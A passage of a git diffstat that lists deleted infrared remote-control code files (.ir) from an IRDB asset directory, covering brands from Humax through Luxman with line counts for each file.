DVD/133,48.ir | 242 - .../_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir | 200 - .../_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir | 254 - .../Humax/Unknown_Humax-5400IRCI/0,16.ir | 200 - .../Humax/Unknown_Humax-RC-536P/2,23.ir | 302 - .../_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir | 236 - .../Humax/Unknown_lircd.conf/0,16.ir | 200 - .../Hyundai/Unknown_H-DVD5038N/0,251.ir | 296 - .../_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir | 140 - .../_CSV-IRDB_/I-O Data/DVD Player/8,230.ir | 284 - .../_CSV-IRDB_/I24/Unknown_I24/0,-1.ir | 146 - .../_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir | 326 - .../_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir | 242 - .../_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir | 314 - .../_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir | 98 - .../_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir | 86 - .../_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir | 236 - .../Imerge/Digital Jukebox/14,-1.ir | 236 - .../Imerge/Digital Jukebox/161,-1.ir | 8 - .../Imerge/Digital Jukebox/162,-1.ir | 8 - .../Imerge/Digital Jukebox/163,-1.ir | 8 - .../Imerge/Digital Jukebox/164,-1.ir | 8 - .../Imerge/Digital Jukebox/165,-1.ir | 8 - .../Imerge/Digital Jukebox/166,-1.ir | 8 - .../Imerge/Digital Jukebox/191,-1.ir | 116 - .../Imerge/Digital Jukebox/255,-1.ir | 62 - .../_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir | 206 - .../_CSV-IRDB_/InFocus/Plasma/7,-1.ir | 206 - .../_CSV-IRDB_/InFocus/Projector/135,78.ir | 206 - .../InFocus/Unknown_InFocus-SP8600/49,-1.ir | 92 - .../InFocus/Unknown_ScreenPlay/135,78.ir | 116 - .../InFocus/Unknown_remote/135,78.ir | 62 - .../InFocus/Video Projector/1,-1.ir | 8 - .../InFocus/Video Projector/123,2.ir | 134 - .../InFocus/Video Projector/131,85.ir | 92 - .../InFocus/Video Projector/135,78.ir | 596 - .../InFocus/Video Projector/15,-1.ir | 206 - .../_CSV-IRDB_/InFocus/Video Projector/2,1.ir | 74 - .../InFocus/Video Projector/78,135.ir | 188 - .../InFocus/Video Projector/80,79.ir | 98 - .../_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir | 224 - .../_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir | 260 - .../_CSV-IRDB_/Insignia/DVD Player/135,34.ir | 260 - .../_CSV-IRDB_/Insignia/TV/134,5.ir | 260 - .../Insignia/Unknown_WIR147002-8301/67,71.ir | 290 - .../_CSV-IRDB_/Instant Replay/VCR/2,-1.ir | 212 - .../_CSV-IRDB_/Instant Replay/VCR/25,-1.ir | 14 - .../_CSV-IRDB_/Instant Replay/VCR/3,-1.ir | 20 - .../_CSV-IRDB_/Instant Replay/VCR/96,-1.ir | 194 - .../_CSV-IRDB_/Instant Replay/VCR/97,-1.ir | 8 - .../_CSV-IRDB_/Integra/Amplifier/210,109.ir | 188 - .../_CSV-IRDB_/Integra/Amplifier/71,-1.ir | 80 - .../_CSV-IRDB_/Integra/Blu-Ray/210,31.ir | 272 - .../_CSV-IRDB_/Integra/CD Player/210,44.ir | 272 - .../_CSV-IRDB_/Integra/DVD Player/210,31.ir | 332 - .../_CSV-IRDB_/Integra/DVD Player/210,43.ir | 1232 -- .../_CSV-IRDB_/Integra/DVD Player/69,181.ir | 308 - .../_CSV-IRDB_/Integra/Digital Audio/210,3.ir | 50 - .../_CSV-IRDB_/Integra/Digital Audio/210,4.ir | 8 - .../_CSV-IRDB_/Integra/Digital Audio/210,9.ir | 200 - .../_CSV-IRDB_/Integra/HD DVD/69,181.ir | 308 - .../Integra/Integrated Amplifier/210,109.ir | 188 - .../Integra/Integrated Amplifier/71,-1.ir | 80 - .../_CSV-IRDB_/Integra/Media PC/4,15.ir | 458 - .../Integra/Pre-Amplifier/210,108.ir | 194 - .../Integra/Pre-Amplifier/210,109.ir | 158 - .../Integra/Pre-Amplifier/210,172.ir | 80 - .../_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir | 380 - .../Integra/Pre-Amplifier/210,25.ir | 182 - .../Integra/Pre-Amplifier/210,30.ir | 392 - .../_CSV-IRDB_/Integra/Receiver/210,1.ir | 14 - .../_CSV-IRDB_/Integra/Receiver/210,108.ir | 1532 -- .../_CSV-IRDB_/Integra/Receiver/210,109.ir | 2180 --- .../_CSV-IRDB_/Integra/Receiver/210,17.ir | 404 - .../_CSV-IRDB_/Integra/Receiver/210,172.ir | 374 - .../_CSV-IRDB_/Integra/Receiver/210,18.ir | 122 - .../_CSV-IRDB_/Integra/Receiver/210,19.ir | 32 - .../_CSV-IRDB_/Integra/Receiver/210,2.ir | 962 - .../_CSV-IRDB_/Integra/Receiver/210,20.ir | 350 - .../_CSV-IRDB_/Integra/Receiver/210,21.ir | 314 - .../_CSV-IRDB_/Integra/Receiver/210,22.ir | 98 - .../_CSV-IRDB_/Integra/Receiver/210,23.ir | 26 - .../_CSV-IRDB_/Integra/Receiver/210,24.ir | 224 - .../_CSV-IRDB_/Integra/Receiver/210,25.ir | 410 - .../_CSV-IRDB_/Integra/Receiver/210,30.ir | 698 - .../_CSV-IRDB_/Integra/Receiver/210,43.ir | 8 - .../_CSV-IRDB_/Integra/Tuner/210,109.ir | 14 - .../_CSV-IRDB_/Integra/Tuner/210,2.ir | 68 - .../_CSV-IRDB_/Integra/iPod/210,108.ir | 86 - .../_CSV-IRDB_/Integra/iPod/210,109.ir | 50 - .../_CSV-IRDB_/Integra/iPod/210,172.ir | 98 - .../_CSV-IRDB_/Integra/iPod/210,2.ir | 140 - .../Distributed Audio/0,90.ir | 194 - .../Interact/Unknown_I-22121/0,-1.ir | 98 - .../_CSV-IRDB_/Intervideo/VCR/49,-1.ir | 260 - .../Unknown_Intervision/134,107.ir | 188 - .../_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir | 212 - .../Unknown_IrradioHIFI1300V/162,162.ir | 116 - .../_CSV-IRDB_/JBL/Receiver/64,47.ir | 152 - .../JBL/Surround Processor/130,11.ir | 464 - .../JBL/Surround Processor/132,66.ir | 200 - .../JBL/Surround Processor/28,-1.ir | 218 - .../_CSV-IRDB_/JENSEN/VCR/1,-1.ir | 140 - .../_CSV-IRDB_/JVC/CD Jukebox/179,0.ir | 158 - .../_CSV-IRDB_/JVC/CD Jukebox/34,33.ir | 26 - .../_CSV-IRDB_/JVC/CD Jukebox/34,48.ir | 212 - .../_CSV-IRDB_/JVC/CD Player/179,-1.ir | 1082 -- .../_CSV-IRDB_/JVC/CD Player/179,0.ir | 878 - .../_CSV-IRDB_/JVC/CD Player/34,33.ir | 32 - .../_CSV-IRDB_/JVC/CD Player/34,48.ir | 320 - .../_CSV-IRDB_/JVC/Camcorder/211,-1.ir | 134 - .../_CSV-IRDB_/JVC/Camcorder/67,-1.ir | 38 - .../_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir | 146 - .../_CSV-IRDB_/JVC/D-VHS/67,-1.ir | 260 - .../_CSV-IRDB_/JVC/DVD Player/179,-1.ir | 122 - .../_CSV-IRDB_/JVC/DVD Player/239,-1.ir | 812 - .../_CSV-IRDB_/JVC/DVD Player/26,-1.ir | 50 - .../_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir | 338 - .../JVC/HD-ILA Projection/115,-1.ir | 194 - .../_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir | 14 - .../_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir | 284 - .../_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir | 8 - .../_CSV-IRDB_/JVC/Karaoke/179,-1.ir | 8 - .../_CSV-IRDB_/JVC/Karaoke/191,-1.ir | 152 - .../_CSV-IRDB_/JVC/Karaoke/3,-1.ir | 14 - .../_CSV-IRDB_/JVC/LCD TV/3,-1.ir | 80 - .../_CSV-IRDB_/JVC/LCD/15,-1.ir | 8 - .../_CSV-IRDB_/JVC/LCD/3,-1.ir | 146 - .../_CSV-IRDB_/JVC/LCD/35,-1.ir | 32 - .../_CSV-IRDB_/JVC/LCD/67,-1.ir | 8 - .../_CSV-IRDB_/JVC/Mini System/131,-1.ir | 68 - .../_CSV-IRDB_/JVC/Mini System/159,-1.ir | 128 - .../_CSV-IRDB_/JVC/Mini System/163,-1.ir | 134 - .../_CSV-IRDB_/JVC/Mini System/175,-1.ir | 86 - .../_CSV-IRDB_/JVC/Mini System/179,-1.ir | 242 - .../_CSV-IRDB_/JVC/Mini System/31,-1.ir | 14 - .../_CSV-IRDB_/JVC/Monitor/3,-1.ir | 440 - .../_CSV-IRDB_/JVC/Monitor/67,-1.ir | 122 - .../_CSV-IRDB_/JVC/Plasma/31,-1.ir | 20 - .../_CSV-IRDB_/JVC/Projector/115,-1.ir | 320 - .../_CSV-IRDB_/JVC/Receiver/1,-1.ir | 44 - .../_CSV-IRDB_/JVC/Receiver/121,-1.ir | 38 - .../_CSV-IRDB_/JVC/Receiver/131,-1.ir | 596 - .../_CSV-IRDB_/JVC/Receiver/147,-1.ir | 236 - .../_CSV-IRDB_/JVC/Receiver/159,-1.ir | 290 - .../_CSV-IRDB_/JVC/Receiver/163,-1.ir | 1784 -- .../_CSV-IRDB_/JVC/Receiver/175,-1.ir | 128 - .../_CSV-IRDB_/JVC/Receiver/179,-1.ir | 1112 -- .../_CSV-IRDB_/JVC/Receiver/191,-1.ir | 116 - .../_CSV-IRDB_/JVC/Receiver/239,-1.ir | 8 - .../_CSV-IRDB_/JVC/Receiver/3,-1.ir | 530 - .../_CSV-IRDB_/JVC/Receiver/34,84.ir | 14 - .../_CSV-IRDB_/JVC/Receiver/67,-1.ir | 644 - .../_CSV-IRDB_/JVC/Receiver/83,-1.ir | 158 - .../_CSV-IRDB_/JVC/S-VHS/67,-1.ir | 140 - .../_CSV-IRDB_/JVC/Satellite/0,0.ir | 80 - .../_CSV-IRDB_/JVC/Satellite/16,0.ir | 14 - .../_CSV-IRDB_/JVC/Satellite/24,0.ir | 86 - .../_CSV-IRDB_/JVC/Satellite/8,0.ir | 26 - .../_CSV-IRDB_/JVC/Switcher/243,-1.ir | 134 - .../_CSV-IRDB_/JVC/TV/15,-1.ir | 32 - .../optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir | 698 - .../_CSV-IRDB_/JVC/TV/31,-1.ir | 44 - .../_CSV-IRDB_/JVC/TV/67,-1.ir | 8 - .../_CSV-IRDB_/JVC/Tuner/131,-1.ir | 50 - .../_CSV-IRDB_/JVC/Tuner/147,-1.ir | 116 - .../_CSV-IRDB_/JVC/Tuner/163,-1.ir | 284 - .../_CSV-IRDB_/JVC/Tuner/179,-1.ir | 146 - .../_CSV-IRDB_/JVC/Tuner/3,-1.ir | 20 - .../_CSV-IRDB_/JVC/Tuner/67,-1.ir | 56 - .../_CSV-IRDB_/JVC/Unknown_440/179,-1.ir | 140 - .../JVC/Unknown_JVC-RM-C475W/3,-1.ir | 170 - .../_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir | 164 - .../JVC/Unknown_JvcDishPlayer500/3,0.ir | 236 - .../JVC/Unknown_LP20106-002/67,-1.ir | 176 - .../_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir | 128 - .../_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir | 170 - .../_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir | 176 - .../_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir | 158 - .../_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir | 164 - .../_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir | 158 - .../_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir | 206 - .../_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir | 170 - .../_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir | 56 - .../_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir | 56 - .../_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir | 194 - .../_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir | 110 - .../_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir | 296 - .../_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir | 200 - .../JVC/Unknown_RM-RXUT200R/159,-1.ir | 236 - .../_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir | 134 - .../JVC/Unknown_RM-SX263U/179,-1.ir | 164 - .../JVC/Unknown_RM-SXVS40A/239,-1.ir | 242 - .../_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir | 62 - .../_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir | 116 - .../_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir | 104 - .../_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir | 260 - .../JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir | 284 - .../_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir | 236 - .../_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir | 146 - .../_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir | 98 - .../_CSV-IRDB_/JVC/VCR/0,14.ir | 140 - .../_CSV-IRDB_/JVC/VCR/1,-1.ir | 350 - .../_CSV-IRDB_/JVC/VCR/1,14.ir | 14 - .../_CSV-IRDB_/JVC/VCR/131,-1.ir | 32 - .../_CSV-IRDB_/JVC/VCR/163,-1.ir | 152 - .../_CSV-IRDB_/JVC/VCR/179,-1.ir | 140 - .../_CSV-IRDB_/JVC/VCR/3,-1.ir | 644 - .../optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir | 8 - .../_CSV-IRDB_/JVC/VCR/64,-1.ir | 56 - .../_CSV-IRDB_/JVC/VCR/67,-1.ir | 3872 ---- .../_CSV-IRDB_/JVC/VCR/8,14.ir | 92 - .../_CSV-IRDB_/JVC/VCR/80,-1.ir | 8 - .../_CSV-IRDB_/JVC/VCR/83,-1.ir | 1376 -- .../_CSV-IRDB_/JVC/Video Projector/115,-1.ir | 764 - .../_CSV-IRDB_/JVC/Video Projector/131,85.ir | 74 - .../_CSV-IRDB_/JVC/Video Switcher/243,-1.ir | 212 - .../_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir | 326 - .../_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir | 338 - .../_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir | 26 - .../Jerrold/Unknown_550-osd/0,-1.ir | 164 - .../Jerrold/Unknown_CFT2000/0,-1.ir | 92 - .../_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir | 164 - .../_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir | 158 - .../_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir | 200 - .../KENMORE/Unknown_253-79081/8,245.ir | 68 - .../KEY DIGITAL/Component Switcher/130,19.ir | 170 - .../KEY DIGITAL/Matrix Switcher/130,19.ir | 638 - .../KEY DIGITAL/Matrix Switcher/132,-1.ir | 188 - .../KEY DIGITAL/Matrix Switcher/27,-1.ir | 8 - .../_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir | 56 - .../KEY DIGITAL/Video Switcher/130,19.ir | 26 - .../KEY DIGITAL/Video Switcher/132,-1.ir | 188 - .../KEY DIGITAL/Video Switcher/27,-1.ir | 8 - .../Kaleidescape/DVD Player/69,-1.ir | 434 - .../Kaleidescape/Distributed/69,-1.ir | 374 - .../Kaon/Unknown_KSC-i260MCO/32,8.ir | 230 - .../_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir | 182 - .../Kaon/Unknown_KTF-I2001CO/32,8.ir | 212 - .../Kathrein/DVBS-Receiver/34,144.ir | 446 - .../_CSV-IRDB_/Kathrein/Satellite/0,-1.ir | 158 - .../_CSV-IRDB_/Kathrein/Satellite/34,144.ir | 218 - .../Kathrein/Unknown_KathreinUFD400/0,-1.ir | 158 - .../Kensington/MP3 Player/51,170.ir | 32 - .../_CSV-IRDB_/Kensington/iPod Dock/51,170.ir | 62 - .../_CSV-IRDB_/Kenwood/Amplifier/184,0.ir | 122 - .../_CSV-IRDB_/Kenwood/Amplifier/184,1.ir | 44 - .../_CSV-IRDB_/Kenwood/Amplifier/184,2.ir | 62 - .../_CSV-IRDB_/Kenwood/Amplifier/184,4.ir | 8 - .../_CSV-IRDB_/Kenwood/Amplifier/184,7.ir | 50 - .../_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir | 134 - .../_CSV-IRDB_/Kenwood/CD Changer/182,72.ir | 8 - .../_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir | 50 - .../_CSV-IRDB_/Kenwood/CD Player/182,-1.ir | 620 - .../_CSV-IRDB_/Kenwood/CD Player/182,0.ir | 410 - .../_CSV-IRDB_/Kenwood/CD Player/184,-1.ir | 32 - .../Kenwood/Cassette Tape/184,-1.ir | 140 - .../_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir | 230 - .../_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir | 974 - .../_CSV-IRDB_/Kenwood/DVD Player/182,0.ir | 230 - .../_CSV-IRDB_/Kenwood/DVD Player/182,12.ir | 998 - .../_CSV-IRDB_/Kenwood/DVD Player/182,88.ir | 236 - .../_CSV-IRDB_/Kenwood/DVD Player/184,0.ir | 8 - .../_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir | 302 - .../Kenwood/Pre-Amplifier/182,75.ir | 32 - .../Kenwood/Pre-Amplifier/184,-1.ir | 530 - .../_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir | 98 - .../_CSV-IRDB_/Kenwood/Receiver/1,-1.ir | 236 - .../_CSV-IRDB_/Kenwood/Receiver/12,-1.ir | 122 - .../_CSV-IRDB_/Kenwood/Receiver/182,75.ir | 128 - .../_CSV-IRDB_/Kenwood/Receiver/184,-1.ir | 1790 -- .../_CSV-IRDB_/Kenwood/Receiver/184,0.ir | 578 - .../_CSV-IRDB_/Kenwood/Receiver/184,1.ir | 362 - .../_CSV-IRDB_/Kenwood/Receiver/184,2.ir | 176 - .../_CSV-IRDB_/Kenwood/Receiver/184,3.ir | 230 - .../_CSV-IRDB_/Kenwood/Receiver/184,4.ir | 116 - .../_CSV-IRDB_/Kenwood/Receiver/184,5.ir | 26 - .../_CSV-IRDB_/Kenwood/Receiver/184,6.ir | 104 - .../_CSV-IRDB_/Kenwood/Receiver/184,7.ir | 80 - .../_CSV-IRDB_/Kenwood/Receiver/25,-1.ir | 128 - .../_CSV-IRDB_/Kenwood/Receiver/4,-1.ir | 134 - .../_CSV-IRDB_/Kenwood/Receiver/40,-1.ir | 242 - .../Kenwood/Satellite Radio/2,255.ir | 284 - .../_CSV-IRDB_/Kenwood/Sirius/2,255.ir | 176 - .../_CSV-IRDB_/Kenwood/Tuner/182,75.ir | 32 - .../_CSV-IRDB_/Kenwood/Tuner/184,-1.ir | 464 - .../_CSV-IRDB_/Kenwood/Tuner/184,1.ir | 62 - .../Kenwood/Unknown_RC-160/184,-1.ir | 302 - .../Kenwood/Unknown_RC-A0400/184,-1.ir | 194 - .../Kenwood/Unknown_RC-D0705.conf/182,12.ir | 230 - .../Kenwood/Unknown_RC-M0301/182,4.ir | 188 - .../Kenwood/Unknown_RC-M0701/182,4.ir | 218 - .../Kenwood/Unknown_RC-P030/182,-1.ir | 170 - .../Kenwood/Unknown_RC-P0400/182,-1.ir | 146 - .../Kenwood/Unknown_RC-P070/182,-1.ir | 290 - .../Kenwood/Unknown_RC-P0702/182,-1.ir | 188 - .../Kenwood/Unknown_RC-P0715/182,-1.ir | 158 - .../Kenwood/Unknown_RC-P2030/182,-1.ir | 146 - .../Kenwood/Unknown_RC-P600/182,-1.ir | 122 - .../Kenwood/Unknown_RC-R0311E/44,44.ir | 284 - .../Kenwood/Unknown_RC-RO503/184,-1.ir | 170 - .../Kenwood/Unknown_rc-p800/182,-1.ir | 56 - .../Kenwood/Unknown_rc-p87/182,-1.ir | 98 - .../_CSV-IRDB_/Kenwood/VCR/184,-1.ir | 236 - .../_CSV-IRDB_/Kenwood/VCR/184,1.ir | 32 - .../_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir | 152 - .../Pre-Amplifier/28,-1.ir | 200 - .../Kinergetics Research/Receiver/0,-1.ir | 158 - .../Surround Processor/7,-1.ir | 74 - .../_CSV-IRDB_/Kingbox/h265/1,254.ir | 236 - .../_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir | 230 - .../_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir | 122 - .../Knoll/Video Projector/24,233.ir | 122 - .../_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir | 146 - .../_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir | 152 - .../_CSV-IRDB_/Krell/CD Player/16,-1.ir | 38 - .../_CSV-IRDB_/Krell/CD Player/20,-1.ir | 8 - .../_CSV-IRDB_/Krell/DVD Player/27,-1.ir | 506 - .../_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir | 116 - .../_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir | 152 - .../_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir | 104 - .../_CSV-IRDB_/Krell/Receiver/28,-1.ir | 8 - .../_CSV-IRDB_/Krell/Receiver/31,-1.ir | 8 - .../Krell/Surround Processor/16,-1.ir | 20 - .../Krell/Surround Processor/25,-1.ir | 98 - .../Krell/Surround Processor/28,-1.ir | 224 - .../Krell/Surround Processor/31,-1.ir | 8 - .../_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir | 272 - .../Kworld/Unknown_DVB-T/134,107.ir | 428 - .../Kworld/Unknown_KWorld-DVBT-220/0,251.ir | 248 - .../Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir | 248 - .../Kworld/Unknown_VS-PRV-TV/134,107.ir | 266 - .../_CSV-IRDB_/Kyocera/CD Player/119,-1.ir | 74 - .../_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir | 212 - .../_CSV-IRDB_/L+S/Unknown_LS/164,164.ir | 86 - .../_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir | 200 - .../_CSV-IRDB_/LG/Blu-Ray/45,45.ir | 542 - .../_CSV-IRDB_/LG/DVD Player/16,16.ir | 14 - .../_CSV-IRDB_/LG/DVD Player/44,44.ir | 8 - .../_CSV-IRDB_/LG/DVD Player/45,45.ir | 524 - .../_CSV-IRDB_/LG/DVR/45,45.ir | 314 - .../_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir | 92 - .../_CSV-IRDB_/LG/Plasma/1,1.ir | 14 - .../_CSV-IRDB_/LG/Plasma/4,-1.ir | 566 - .../_CSV-IRDB_/LG/Satellite/247,-1.ir | 182 - .../_CSV-IRDB_/LG/Sound Bar/44,44.ir | 182 - .../optional-assets/_CSV-IRDB_/LG/TV/1,1.ir | 14 - .../optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir | 1742 -- .../_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir | 248 - .../LG/Unknown_6710CDAP01B/44,44.ir | 302 - .../_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir | 248 - .../_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir | 236 - .../_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir | 206 - .../_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir | 158 - .../_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir | 176 - .../_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir | 170 - .../_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir | 80 - .../_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir | 248 - .../_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir | 290 - .../_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir | 290 - .../_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir | 194 - .../_CSV-IRDB_/LG/Unknown_BD300/45,45.ir | 302 - .../_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir | 194 - .../LG/Unknown_LG-AKB69680403/4,-1.ir | 248 - .../_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir | 170 - .../LG/Unknown_LG.6710V00005G/110,-1.ir | 218 - .../LG/Unknown_LG.6710V00008K/4,-1.ir | 170 - .../_CSV-IRDB_/LG/Unknown_LG/110,-1.ir | 80 - .../_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir | 260 - .../_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir | 254 - .../LG/Unknown_PBAFA0189A/110,-1.ir | 224 - .../_CSV-IRDB_/LP Morgan/Screen/0,-1.ir | 38 - .../optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir | 182 - .../_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir | 266 - .../Lacie/Unknown_PNE-N1SS/0,127.ir | 104 - .../Lasonic/Unknown_LasonicR2000/16,-1.ir | 278 - .../LeadTek/Unknown_RM-0007/3,-1.ir | 194 - .../LeadTek/Unknown_Y0400046/3,-1.ir | 248 - .../LeadTek/Unknown_Y0400052/3,-1.ir | 338 - .../LeadTek/Unknown_Y04G0004/3,-1.ir | 296 - .../Leadership/Unknown_GOTEC/0,-1.ir | 296 - .../_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir | 158 - .../_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir | 182 - .../_CSV-IRDB_/Lexicon/Receiver/130,11.ir | 236 - .../Lexicon/Surround Processor/130,11.ir | 1610 -- .../Lexicon/Surround Processor/133,2.ir | 788 - .../Lexicon/Surround Processor/28,-1.ir | 458 - .../_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir | 146 - .../Life-view/Unknown_flyvideo/96,1.ir | 242 - .../_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir | 134 - .../Lifetec/Unknown_LT9096/128,123.ir | 200 - .../_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir | 188 - .../Lifetec/Unknown_remote/164,164.ir | 50 - .../Lightolier/Lighting Controller/0,-1.ir | 32 - .../Linksys/Media Adapter/134,107.ir | 8 - .../Linksys/Unknown_WMA11B-R/134,107.ir | 134 - .../_CSV-IRDB_/Linn/CD Player/20,-1.ir | 134 - .../_CSV-IRDB_/Linn/Classic music/16,-1.ir | 122 - .../_CSV-IRDB_/Linn/Classic music/17,-1.ir | 56 - .../_CSV-IRDB_/Linn/Classic music/20,-1.ir | 158 - .../Linn/Surround Processor/16,-1.ir | 206 - .../Linn/Surround Processor/23,-1.ir | 116 - .../Linn/Surround Processor/4,-1.ir | 14 - .../_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir | 218 - .../LiteTouch/Lighting Controller/129,-1.ir | 56 - .../LiteTouch/Lighting Controller/130,-1.ir | 56 - .../LiteTouch/Lighting Controller/131,-1.ir | 56 - .../LiteTouch/Lighting Controller/132,-1.ir | 56 - .../LiteTouch/Lighting Controller/133,-1.ir | 56 - .../LiteTouch/Lighting Controller/134,-1.ir | 56 - .../LiteTouch/Lighting Controller/135,-1.ir | 56 - .../LiteTouch/Lighting Controller/136,-1.ir | 56 - .../LiteTouch/Lighting Controller/137,-1.ir | 56 - .../LiteTouch/Lighting Controller/144,-1.ir | 56 - .../LiteTouch/Lighting Controller/145,-1.ir | 56 - .../LiteTouch/Lighting Controller/146,-1.ir | 56 - .../LiteTouch/Lighting Controller/147,-1.ir | 56 - .../LiteTouch/Lighting Controller/148,-1.ir | 56 - .../LiteTouch/Lighting Controller/149,-1.ir | 56 - .../LiteTouch/Lighting Controller/150,-1.ir | 56 - .../LiteTouch/Lighting Controller/151,-1.ir | 56 - .../LiteTouch/Lighting Controller/152,-1.ir | 56 - .../LiteTouch/Lighting Controller/153,-1.ir | 56 - .../LiteTouch/Lighting Controller/255,-1.ir | 56 - .../_CSV-IRDB_/Loewe/DVD Player/0,-1.ir | 20 - .../_CSV-IRDB_/Loewe/DVD Player/32,-1.ir | 392 - .../_CSV-IRDB_/Loewe/DVD Player/33,-1.ir | 8 - .../_CSV-IRDB_/Loewe/DVD Player/4,-1.ir | 188 - .../_CSV-IRDB_/Loewe/DVD Player/45,45.ir | 242 - .../_CSV-IRDB_/Loewe/TV/0,-1.ir | 968 - .../_CSV-IRDB_/Loewe/TV/27,-1.ir | 20 - .../_CSV-IRDB_/Loewe/TV/31,-1.ir | 8 - .../_CSV-IRDB_/Loewe/TV/33,-1.ir | 8 - .../_CSV-IRDB_/Loewe/TV/5,-1.ir | 44 - .../_CSV-IRDB_/Loewe/TV/6,-1.ir | 104 - .../_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir | 200 - .../_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir | 266 - .../_CSV-IRDB_/Loewe/VCR/144,0.ir | 122 - .../_CSV-IRDB_/Loewe/VCR/144,1.ir | 62 - .../_CSV-IRDB_/Loewe/VCR/5,-1.ir | 182 - .../Logitech/Unknown_HarmonyOne/30,-1.ir | 230 - .../_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir | 98 - .../_CSV-IRDB_/Lumagen/Scaler/2,-1.ir | 152 - .../_CSV-IRDB_/Luxman/CD Player/204,-1.ir | 194 - 